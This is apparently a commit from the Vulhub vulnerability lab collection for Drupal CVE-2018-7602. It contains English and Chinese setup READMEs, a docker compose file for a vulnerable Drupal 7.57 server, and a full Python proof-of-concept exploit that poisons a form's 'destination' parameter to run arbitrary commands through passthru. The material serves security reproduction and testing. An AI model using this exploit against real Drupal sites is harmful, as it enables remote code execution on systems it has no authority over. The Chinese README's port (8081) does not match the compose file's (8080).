first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
drupal/CVE-2018-7602/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

View File

@@ -0,0 +1,39 @@
# Drupal Drupalgeddon 3 Authenticated Remote Code Execution (CVE-2018-7602)
[中文版本(Chinese version)](README.zh-cn.md)
Drupal is a free and open-source web content management framework written in PHP.
A remote code execution vulnerability exists in Drupal 7.x and 8.x. The vulnerability is caused by insufficient input sanitization, where double URL encoding of the '#' character can bypass the sanitize() function filter, leading to remote code execution.
References:
- <https://www.drupal.org/sa-core-2018-004>
- <https://github.com/pimps/CVE-2018-7600>
- <https://github.com/kastellanos/CVE-2018-7602>
## Environment Setup
Execute the following command to start a vulnerable Drupal 7.57 server:
```bash
docker compose up -d
```
After the server is started, visit `http://your-ip:8080/` to access the Drupal installation page. Follow the default configuration steps to complete the installation. Since there is no MySQL environment, you can choose SQLite as the database.
Remember the username and password of the account you created during the installation, because you will need it to exploit the vulnerability.
## Vulnerability Reproduction
Using the PoC from [pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py), execute the following command to exploit the vulnerability:
```bash
# Replace "id" with the command you want to execute
# First "drupal" is your username, second "drupal" is your password
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8080/
```
As shown in the red box in the image below, the command is successfully executed:
![](1.png)

View File

@@ -0,0 +1,37 @@
# Drupal Drupalgeddon 3 后台远程代码执行漏洞CVE-2018-7602
Drupal是一个使用PHP编写的免费开源的Web内容管理框架。
在Drupal 7.x和8.x版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分通过对URL中的'#'字符进行两次URL编码可以绕过sanitize()函数过滤,从而导致远程代码执行。
参考链接:
- <https://www.drupal.org/sa-core-2018-004>
- <https://github.com/pimps/CVE-2018-7600>
- <https://github.com/kastellanos/CVE-2018-7602>
## 环境搭建
执行如下命令启动一个存在漏洞的Drupal 7.57服务器:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8081/`将会看到Drupal的安装页面。按照默认配置完成安装步骤。由于环境中没有MySQL可以选择SQLite作为数据库。
安装过程中,请记住你创建的账户信息,因为需要用它来利用漏洞。
## 漏洞复现
使用来自[pimps/CVE-2018-7600](https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py)的PoC执行以下命令来利用漏洞
```
# 将"id"替换为你想执行的命令
# 第一个"drupal"是用户名,第二个"drupal"是密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
```
如下图红框所示,命令成功执行:
![](1.png)

View File

@@ -0,0 +1,5 @@
services:
web:
image: vulhub/drupal:7.57
ports:
- "8080:80"

View File

@@ -0,0 +1,79 @@
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
using an valid account and poisoning the cancel account form (user_cancel_confirm_form)
with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
''')
parser.add_argument("user", help="Username")
parser.add_argument("password", help="Password")
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args
def pwn_target(target, username, password, function, command, proxy):
requests.packages.urllib3.disable_warnings()
session = requests.Session()
proxyConf = {'http': proxy, 'https': proxy}
try:
print('[*] Creating a session using the provided credential...')
get_params = {'q':'user/login'}
post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
print('[*] Finding User ID...')
session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
get_params = {'q':'user'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
if ("?q=" in user_id):
user_id = user_id.split("=")[1]
if(user_id):
print('[*] User ID found: ' + user_id)
print('[*] Poisoning a form using \'destination\' and including it in cache.')
get_params = {'q': user_id + '/cancel'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_token = form.find('input', {'name': 'form_token'}).get('value')
get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise
def main():
print ()
print ('===================================================================================')
print ('| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |')
print ('| by pimps |')
print ('===================================================================================\n')
args = get_args() # get the cl args
pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
if __name__ == '__main__':
main()